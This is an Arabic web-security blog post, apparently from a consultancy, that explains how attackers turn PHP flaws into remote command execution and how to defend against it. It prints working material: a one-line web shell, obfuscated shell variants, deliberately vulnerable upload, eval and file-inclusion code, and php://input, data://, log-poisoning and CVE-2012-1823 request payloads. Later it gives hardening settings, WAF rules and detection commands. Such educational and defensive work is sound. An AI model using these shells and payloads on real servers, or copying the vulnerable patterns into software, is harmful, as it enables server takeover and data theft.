تشريعات الأمن السيبراني الجديدة لعام 2026 سارية الآن في المغرب. احصل على تدقيق امتثال مجاني ←
→ العودة إلى المدونة
أمن الويب 2026-05-07 ⏱ 12 دقيقة

PHP2Shell: تنفيذ الكود عن بُعد عبر الـ Web Shells وتقنيات حقن الـ PHP

تُشغّل لغة PHP جزءاً ضخماً من شبكة الويب العالمية — فنظم إدارة المحتوى مثل WordPress وDrupal، وأطر العمل مثل Laravel، بالإضافة إلى ملايين التطبيقات المخصصة، تعتمد جميعها عليها. هذا الانتشار الواسع يجعل من PHP هدفاً ذا قيمة استثنائية للمهاجمين. يُشير مصطلح PHP2Shell إلى هدف المهاجم في أبسط صوره وأكثرها خطورة: استغلال أي نقطة ضعف في تطبيق PHP للحصول على قشرة أوامر تفاعلية (Command Shell) على الخادم المضيف. بمجرد أن يضع المهاجم الـ Web Shell على الخادم، يصبح لديه وصول دائم وقابل للتنفيذ عبر المتصفح — وهي مرحلة تعني فقدان السيطرة الكاملة على التطبيق وغالباً على نظام التشغيل بأكمله.

يُفصّل هذا المقال كافة مسارات الاستغلال الرئيسية التي تنقل المهاجم من ثغرة PHP إلى شل تفاعلي: ثغرات رفع الملفات غير المقيّدة، حقن دالة eval()، استغلال مغلّفات تدفق PHP (Stream Wrappers)، سلاسل تضمين الملفات المحلية (LFI)، وأبرز ثغرات CVE الحقيقية. ونختم بقائمة عملية لتدابير التحصين واستراتيجية الكشف والمراقبة.

نموذج التهديد (Threat Model)

الـ Web Shell هو نص برمجي — غالباً ملف PHP مفرد — يتم رفعه أو حقنه في مسار يمكن الوصول إليه عبر الويب. بمجرد استقراره في المسار، يزور المهاجم الرابط ويمرر أوامر نظام التشغيل عبر متغيرات GET أو POST. يقوم حساب مستخدم خادم الويب (مثل www-data أو apache أو nginx) بتنفيذ هذه الأوامر مباشرة. يمكن للمهاجم حينها:

  • قراءة الملفات الحساسة (مثل /etc/passwd، ملفات الإعدادات .env، وبيانات الاتصال بقواعد البيانات)
  • التحرك أفقياً نحو قواعد البيانات أو الشبكة الداخلية للمؤسسة
  • تحميل أدوات إضافية (ملفات الـ Reverse Shell، وأكواد تصعيد الصلاحيات)
  • زرع آليات التثبيت المستمر (Persistence) عبر مهام cron أو حقن مفاتيح SSH
  • تسريب البيانات الحساسة أو تشفير الخادم ببرمجيات الفدية

أبسط كود Web Shell يحقق هذا الهدف لا يتجاوز سطراً واحداً:

<?php system($_GET['cmd']); ?>

عند زيارة الرابط https://target.com/uploads/shell.php?cmd=id، يُعيد الخادم النتيجة فوراً uid=33(www-data). من هذه النقطة، يبدأ المهاجمون بتصعيد صلاحياتهم. لذا فإن فهم كل مسار يؤدي إلى هذه النتيجة هو حجر الأساس لأمن تطبيقات الـ PHP.

متجه الهجوم الأول: رفع الملفات غير المقيّد (Unrestricted File Upload)

تُعد وظيفة رفع الملفات من أخطر الخصائص التي يمكن أن يُتيحها تطبيق PHP. عندما يُخفق المطورون في التحقق من طبيعة الملفات المرفوعة بشكل صحيح، ينجح المهاجم في رفع ملف بامتداد .php متنكراً في هيئة صورة أو مستند طبيعي.

معالج الرفع الضعيف

يتكرر النمط التالي كثيراً في الشيفرات البرمجية القديمة والدروس التعليمية المبتدئة، حيث يكتفي بالتحقق من الامتداد الظاهري فقط — وهو فحص يمكن تجاوزه بسهولة تامة:

<?php
// ثغرة أمنية - فحص الامتداد الظاهري فقط دون فحص المحتوى الحقيقي
$allowed = ['jpg', 'png', 'gif'];
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (in_array($ext, $allowed)) {
    move_uploaded_file(
        $_FILES['file']['tmp_name'],
        'uploads/' . $_FILES['file']['name']
    );
    echo "تم الرفع بنجاح";
} else {
    echo "نوع الملف غير مسموح به";
}
?>

يتم تجاوز هذا الفحص عبر عدة تقنيات متقدمة:

  • الامتداد المزدوج (Double Extension): تسمية الملف باسم shell.php.jpg. في خوادم Apache المعدة بشكل خاطئ باستخدام AddHandler application/x-httpd-php .php، قد يُنفذ الخادم الملف ككود PHP إذا تطابق أي جزء من الامتداد مع القالب المحدد.
  • تزوير نوع المحتوى (Content-Type Spoofing): تتيح أدوات مثل Burp Suite اعتراض طلب POST وتعديل ترويسة Content-Type: application/octet-stream إلى Content-Type: image/jpeg. الخوادم التي تعتمد على $_FILES['file']['type'] تُخدع فوراً لأن هذه الترويسة يرسلها المتصفح ويتحكم بها المهاجم كلياً.
  • حقن البايت الصفري (Null Byte Injection في PHP < 5.3.4): إرسال اسم الملف بالصيغة shell.php%00.jpg كان يتسبب في قطع مسار السلسلة النصية في لغة C عند البايت الصفري، ليُحفظ الملف باسم shell.php على القرص بينما كان فحص الامتداد يرى .jpg.
  • ملفات البوليغلوت (Polyglot Files): إنشاء ملف JPEG يحتوي على ترويسة صورة صحيحة تليها حمولة PHP مخفية داخل تعليقات EXIF أو أجزاء IDAT. يجتاز الملف فحص getimagesize() لأن ترويسة الصورة حقيقية. وعند تضمين الملف لاحقاً عبر دالة include()، يُنفذ مفسر PHP وسم <?php ... ?> المحقون داخله.

تجاوز إعدادات Apache عبر ملف .htaccess

إذا كان مجلد الرفع يسمح بوجود ملفات .htaccess ولم يتم تعطيلها بإعداد AllowOverride None، يستطيع المهاجم رفع ملف .htaccess مخصص يحتوي على السطر التالي:

AddType application/x-httpd-php .jpg

عندها سيعامل الخادم أي ملف يحمل امتداد .jpg داخل هذا المجلد كملف PHP تنفيذي. يرفع المهاجم بعدها شل PHP باسم image.jpg ويحصل على تنفيذ مباشر للأوامر.

متجه الهجوم الثاني: حقن الكود عبر eval() والدوال المتغيرة

تقوم دالة eval() في PHP بتنفيذ أي نص ككود برمجي في وقت التشغيل. التطبيقات التي تمرر مدخلات المستخدمين إلى هذه الدالة تمنح المهاجم عملياً مفسر PHP تفاعلياً ومباشراً:

<?php
// خطير جداً - تنفيذ مباشر لأي كود PHP يرسله المستخدم
eval($_POST['code']);
?>

في السيناريوهات الواقعية، يستخدم المطورون eval() لمعالجة القوالب أو الإعدادات الديناميكية دون تنقية كافية:

<?php
$template = $_GET['tpl'];
// مخصص لمعالجة المتغيرات، ولكنه يفتح ثغرة حقن كود
eval('echo "' . $template . '";');
?>

يستطيع المهاجم إرسال مدخلات تحتوي على {${eval($_GET[c])}} أو إغلاق السلاسل النصية لفرض تنفيذ الدوال التي يريدها.

الدوال المتغيرة والتوجيه الديناميكي (Variable Functions)

تتيح PHP استدعاء الدوال من خلال قيم المتغيرات النصية، مما يفتح مساحة حقن خفية:

<?php
// المهاجم يتحكم في اسم الدالة ومعاملاتها
$func = $_GET['f'];   // مثال: "system"
$arg  = $_GET['c'];   // مثال: "id"
$func($arg);           // يُنفذ system("id")
?>

حتى في غياب دالة eval()، يتيح هذا النمط تنفيذاً كاملاً للأوامر إذا تم التحكم باسم الدالة. وتتكرر نفس النتيجة باستخدام دوال مثل call_user_func() أو متغيرات المتغيرات $$variable.

حمولة الـ Web Shell المموهة (Obfuscated Payloads)

يلجأ المهاجمون إلى تمويه الشيفرات لتفادي كشفها بواسطة أنظمة الحماية القائمة على التوقيعات الثابتة:

<?php
// تشفير اسم الدالة بـ Base64
$a = base64_decode('c3lzdGVt');  // ينتج "system"
$a($_POST['c']);
?>

<?php
// عكس السلسلة النصية
$f = strrev('metsys');  // "system"
$f($_GET['cmd']);
?>

<?php
// استخدام قيم الرموز chr()
$f = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
$f($_REQUEST['x']);
?>

تتجاوز هذه الأساليب قواعد جدران الحماية التقليدية (WAF) التي تبحث فقط عن النص الصريح system(. يتطلب التحليل الحديث تحليلاً شجرياً (AST) أو فحصاً ديناميكياً داخل بيئة معزولة.

متجه الهجوم الثالث: مغلّفات PHP وتحويل ثغرات LFI إلى RCE

نظام مغلّفات التدفق (Stream Wrappers) في PHP هو واجهة للتعامل مع تدفقات البيانات والملفات. يستغل المهاجمون هذه الميزة لتحويل ثغرات تضمين الملفات المحلية (LFI) إلى تنفيذ كامل للأوامر عن بُعد.

نمط التضمين المعطوب

<?php
// ثغرة تضمين ملفات LFI
$page = $_GET['page'];
include($page . '.php');
?>

المغلّف php://input

يقرأ المغلّف php://input البيانات الخام الواردة في جسم طلب POST. عند تمريره لخاصية التضمين:

POST /index.php?page=php://input HTTP/1.1
Content-Type: application/x-www-form-urlencoded

<?php system($_GET['cmd']); ?>

تقوم PHP بقراءة محتوى الـ POST وتنفيذه ككود برمجي فوراً، مما يعطي تنفيذاً كاملاً للأوامر دون الحاجة لكتابة أي ملف على القرص. يتطلب ذلك تفعيل خيار allow_url_include = On في ملف php.ini.

المغلّف php://filter — كشف الأكواد المصدرية

حتى دون تنفيذ الأوامر، يتيح المغلّف php://filter قراءة محتويات ملفات PHP البرمجية دون تنفيذها:

GET /index.php?page=php://filter/convert.base64-encode/resource=config HTTP/1.1

تُعيد الاستجابة الكود المصدري لملف config.php مشفراً بـ base64، كاشفةً كلمات سر قواعد البيانات ومفاتيح الـ API.

المغلّف data://

يسمح المغلّف data:// بتمرير البيانات المباشرة كتدفق بيانات. إذا كان خيار allow_url_include مفعلاً:

GET /index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ HTTP/1.1

يتم فك الحمولة المرمزة وتنفيذ كود الـ PHP بداخلها بشكل مباشر.

تحويل LFI إلى RCE عبر تسميم سجلات الخادم (Log Poisoning)

عند تعطيل مغلّفات الـ URL، يلجأ المهاجمون إلى تسميم ملفات السجلات:

  1. تسميم السجل: إرسال طلب HTTP يحتوي على كود PHP في ترويسة User-Agent:
    GET / HTTP/1.1
    User-Agent: <?php system($_GET['cmd']); ?>
    يقوم خادم Apache بتسجيل هذا السطر حرفياً في ملف /var/log/apache2/access.log.
  2. تضمين ملف السجل:
    GET /index.php?page=../../../var/log/apache2/access.log&cmd=id HTTP/1.1
    يقوم مفسر PHP بتضمين ملف السجل وتنفيذ أي وسم PHP يعثر عليه — بما في ذلك ترويسة User-Agent المسمومة.

تنجح هذه التقنية أيضاً مع /proc/self/environ وسجلات جلسات SSH وملفات جلسات PHP المخزنة في النظام.

أبرز ثغرات CVE الحقيقية في تاريخ PHP

حصلت ثغرة CVE-2019-11043 على تقييم خطورة CVSS 9.8 (حرج). كان رابط URL معد بعناية كافياً لتحقيق تنفيذ غير مصرح به للأوامر على أي خادم يُشغل PHP-FPM خلف خادم nginx بإعدادات محددة — دون الحاجة لأي مصادقة أو رفع ملفات أو تفاعل من المستخدم.

CVE-2019-11043: ثغرة PHP-FPM مع Nginx

اكتشفها الباحث Emil Lerner وتم استعراض استغلالها في مسابقة Pwn2Own. أثرت الثغرة على إصدارات PHP-FPM التالية: PHP 7.1.x قبل 7.1.33، و7.2.x قبل 7.2.24، و7.3.x قبل 7.3.11.

السبب الجذري: عند إعداد Nginx لتمرير أنماط معينة من الروابط إلى PHP-FPM، وتضمن الرابط رمز سطر جديد (مثل %0a)، كان محرك PHP-FPM يخطئ في معالجة متغير البيئة PATH_INFO. مكّن هذا الخلل المهاجم من حقن متغيرات FastCGI عشوائية — ومنها PHP_VALUE — وضبط توجيهات مثل auto_prepend_file للإشارة لملف عن بُعد أو إجبار الخادم على تنفيذ ملفات غير مخصصة للـ PHP.

تكوين Nginx المعرض للثغرة كان على النحو التالي:

location ~ [^/]\.php(/|$) {
    fastcgi_split_path_info ^(.+?\.php)(/.*)$;
    fastcgi_pass unix:/run/php/php7.3-fpm.sock;
    fastcgi_param PATH_INFO $fastcgi_path_info;
    include fastcgi_params;
}

الحل تمثل في ترقية حزمة PHP-FPM وإضافة السطر fastcgi_param PATH_INFO ""; كإجراء وقائي سريع.

CVE-2012-1823: حقن وسائط PHP CGI

أثرت هذه الثغرة الحرجة على إصدارات PHP قبل 5.3.12 وإصدارات 5.4.x قبل 5.4.2 عندما كان يتم تشغيل PHP بنمط CGI الثنائي. يكمن الخلل في الطريقة التي يعالج بها مفسر CGI سلسلة الاستعلام (Query String).

عند إرسال رابط لا يحتوي على علامة المساواة = في سلسلة الاستعلام، كان مفسر CGI يمرر معاملات الرابط مباشرة كوسائط سطر أوامر للمفسر. مكّن هذا المهاجمين من إرسال:

GET /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1

[جسم طلب POST]
<?php system('id'); ?>

أدى هذا إلى حقن إعدادات المفسر مباشرة وجعل PHP يعامل محتوى طلب POST كملف مضمن يتم تنفيذه فوراً. استُغلت هذه الثغرة على نطاق واسع في غضون أيام من الإعلان عنها ولا تزال أدوات الفحص التلقائية تبحث عنها حتى اليوم.

التحصين الدفاعي: إعدادات php.ini وحماية الخادم

يتطلب الدفاع المتكامل (Defense in Depth) تأمين بيئة تشغيل PHP إلى جانب حماية بيئة الاستضافة. الخطوة الأولى تبدأ من ملف php.ini:

; تحصين ملف php.ini
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,\
                    curl_exec,curl_multi_exec,parse_ini_file,show_source,\
                    pcntl_exec,pcntl_fork,dl

open_basedir        = /var/www/html:/tmp

allow_url_include   = Off
allow_url_fopen     = Off
expose_php          = Off
display_errors      = Off
log_errors          = On
error_log           = /var/log/php_errors.log

session.cookie_httponly = 1
session.cookie_secure   = 1
session.use_strict_mode = 1

أهمية خيار disable_functions

يمنع خيار disable_functions تشغيل الدوال الخطيرة المحددة، حتى لو تمكن المهاجم من رفع الـ Web Shell بنجاح. ورغم أنها ليست حلاً سحرياً بحد ذاتها (حيث توجد تقنيات تاريخية لتجاوزها عبر مكتبات dl() أو التلاعب بالذاكرة عبر /proc/self/mem)، إلا أن تعطيل دوال التنفيذ والعمليات يُعطّل الغالبية الساحقة من محاولات الاستغلال الشائعة.

تحديد النطاق عبر open_basedir

يُقيد خيار open_basedir عمليات فتح وقراءة الملفات في مسارات محددة فقط. لن يتمكن الشل العامل تحت هذا القيد من قراءة /etc/passwd أو التطفل خارج مجلد التطبيق /var/www/html.

تطبيق آلية رفع ملفات آمنة

يجب أن تتبع أي معالجة لرفع الملفات القواعد الصارمة التالية:

  1. فحص البايتات السحرية (Magic Bytes) وليس الامتداد فقط: استخدام finfo_file() للتحقق من توقيع الملف الحقيقي:
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime  = finfo_file($finfo, $_FILES['file']['tmp_name']);
    finfo_close($finfo);
    $allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
    if (!in_array($mime, $allowed_mimes)) {
        die('نوع الملف غير صالح');
    }
  2. إعادة تسمية الملف عند الحفظ: استبدال اسم الملف الأصلي برمز عشوائي أو UUID. لا تعتمد أبداً على $_FILES['file']['name'] كاسم للملف المحفوظ.
    $stored_name = bin2hex(random_bytes(16)) . '.jpg';
    move_uploaded_file($_FILES['file']['tmp_name'], '/var/uploads/' . $stored_name);
  3. تخزين الملفات المرفوعة خارج مسار الويب العام: الملفات الموجودة في /var/uploads/ لا يمكن طلبها مباشرة عبر المتصفح، ويتم عرضها للزائر عبر نص PHP وسيط يضع ترويسة Content-Type المناسبة دون تنفيذها.
  4. تعطيل تنفيذ PHP في مجلدات الرفع: إذا كان لابد من وضع المجلد داخل مسار الويب، قم بتعطيل المفسر داخله:
    # إعدادات Apache - تعطيل تنفيذ PHP في uploads/
    <Directory /var/www/html/uploads>
        php_flag engine off
        Options -ExecCGI
        RemoveHandler .php .phtml .php3 .php4 .php5
    </Directory>
    
    # إعدادات Nginx - منع التنفيذ نهائياً
    location /uploads/ {
        location ~ \.php$ { deny all; }
    }
  5. تحديد الحجم الأقصى وعدد الملفات المسموح برفعها لتفادي هجمات استنزاف الموارد والقنابل المضغوطة.

قواعد جدران الحماية لتطبيقات الويب (WAF)

تساعد قواعد WAF في اعتراض حمولات الـ Web Shell عند طبقة الـ HTTP. قواعد نموذجية يمكن إضافتها:

# حظر وسوم PHP في الملفات المرفوعة
SecRule FILES_TMPNAMES "@contains <?php" \
    "id:1001,phase:2,deny,status:403,msg:'PHP code in upload'"

# حظر نصوص الدوال الشائعة في الاستعلامات
SecRule ARGS "@rx (system|passthru|shell_exec|eval|base64_decode)\s*\(" \
    "id:1002,phase:2,deny,status:403,msg:'RCE attempt in parameter'"

# حظر مغلّفات php:// في المتغيرات
SecRule ARGS "@rx php://(input|filter|data)" \
    "id:1003,phase:2,deny,status:403,msg:'PHP wrapper in parameter'"

الكشف والمراقبة المستمرة

الوقاية مطلوبة ولكن الكشف ضرورة حتمية. افترض دائماً احتمالية الاختراق وابنِ رؤية واضحة لما يفعله خادم الويب.

تدقيق العمليات الفرعية غير الطبيعية

يُنفذ الـ Web Shell الأوامر عن طريق إنشاء عمليات فرعية (Child Processes) تابعة لمستخدم خادم الويب. هذا السلوك شاذ تماماً في بيئة الإنتاج:

# مراقبة العمليات المنبثقة من www-data في الوقت الفعلي
watch -n 1 'ps -eo user,ppid,pid,cmd | grep www-data | grep -v php-fpm | grep -v grep'

# قاعدة auditd: التنبيه عند أي تنفيذ لأمر execve من مستخدم الويب
auditctl -a always,exit -F arch=b64 -S execve -F uid=33 -k webshell_exec
# (الرمز uid=33 يمثل www-data في توزيعات دبيان وأوبونتو)

تتيح مراجعة سجلات /var/log/audit/audit.log كشف أي محاولة لتشغيل أوامر النظام من قبل خادم الويب فور وقوعها.

مراقبة سلامة الملفات (FIM) في مجلدات الرفع

استخدم أداة inotifywait لتتبع إنشاء أو تعديل أي ملف في مجلدات الرفع:

inotifywait -m -e create,modify /var/www/html/uploads/ \
    --format '%T %w %f %e' --timefmt '%Y-%m-%d %H:%M:%S' \
    | while read line; do
        echo "$line" >> /var/log/upload_monitor.log
        echo "$line" | grep -q '\.ph' && \
            echo "ALERT: PHP-like file in uploads: $line" | mail -s "Webshell Alert" [email protected]
    done

مؤشرات الاختراق في سجلات الوصول (Log IOCs)

علامات فارقة يجب البحث عنها دورياً في سجلات الويب:

  • طلبات POST موجهة لملفات داخل مجلد /uploads/ (لا ينبغي لملف مرفوع أن يستقبل بيانات POST)
  • طلبات GET تحتوي على معاملات مثل cmd= أو exec= أو c= في مسارات غير مخصصة للـ API
  • محاولات استخدام php:// أو data:// داخل معاملات الرابط (أو بالصيغة المرمزة php%3A%2F%2F)
  • استجابات HTTP 200 لملفات تنتهي بامتدادات مثل .php.jpg أو .phtml أو .php5
  • طلبات تحتوي على دوال مثل base64_decode أو eval أو system داخل الـ Query String

الحماية الذاتية للتطبيقات أثناء التشغيل (RASP)

توفر إضافات PHP المفتوحة المصدر مثل Snuffleupagus حماية عميقة على مستوى المفسر نفسه، حيث تمنع استدعاء دوال مثل system() وتفرض قيوداً صارمة على معاملات الدوال، مما يحبط معظم طرق تجاوز disable_functions المعروفة.

خاتمة

سلسلة هجمات PHP2Shell ليست مجرد ثغرة أمنية منفردة، بل هي تصنيف كامل من مسارات الاستغلال التي تفضي في نهايتها إلى وجهة واحدة: الحصول على شل أوامر مستمر ومتاح عن بُعد للسيطرة على خادمك. ثغرات رفع الملفات غير المحمية، استدعاءات eval()، إساءة استخدام مغلّفات PHP، وثغرات LFI تشكل مجتمعة بيئة خصبة يستغلها المهاجمون بشكل منهجي.

يتطلب الدفاع الناجح بناء طبقات متتالية: تشديد إعدادات php.ini، فرض فحص البايتات السحرية للملفات، تخزين المرفوعات خارج مسار الويب، تفعيل جدران الحماية WAF، وتطبيق آليات الكشف في وقت التشغيل عبر auditd ومراقبة العمليات. لقد أثبتت ثغرات مثل CVE-2019-11043 وCVE-2012-1823 أن مفسر PHP بحد ذاته قد يكون مصدر الثغرة — وسرعة تثبيت التحديثات الأمنية لا تقل أهمية عن جودة كتابة الكود البرمجي للتطبيق.

تمتد مساحة الهجوم في تطبيق PHP الخاص بك من نموذج الرفع البسيط وصولاً إلى ملف المفسر الثنائي. والتعامل مع هذه المساحة كجدار أحادي بدلاً من دفاع طبقي متكامل هو السبب الرئيسي وراء ظهور الـ Web Shells في بيئات الإنتاج الحية.

هل تحتاج إلى تدقيق أمني لتطبيقات PHP؟

تواصل مع فريق Cayvora للحصول على استشارة مجانية وحماية تطبيقات PHP الخاصة بك ضد هجمات تنفيذ الكود عن بُعد والـ Web Shells.

✉️ طلب تدقيق أمني لـ PHP

مقالات ذات صلة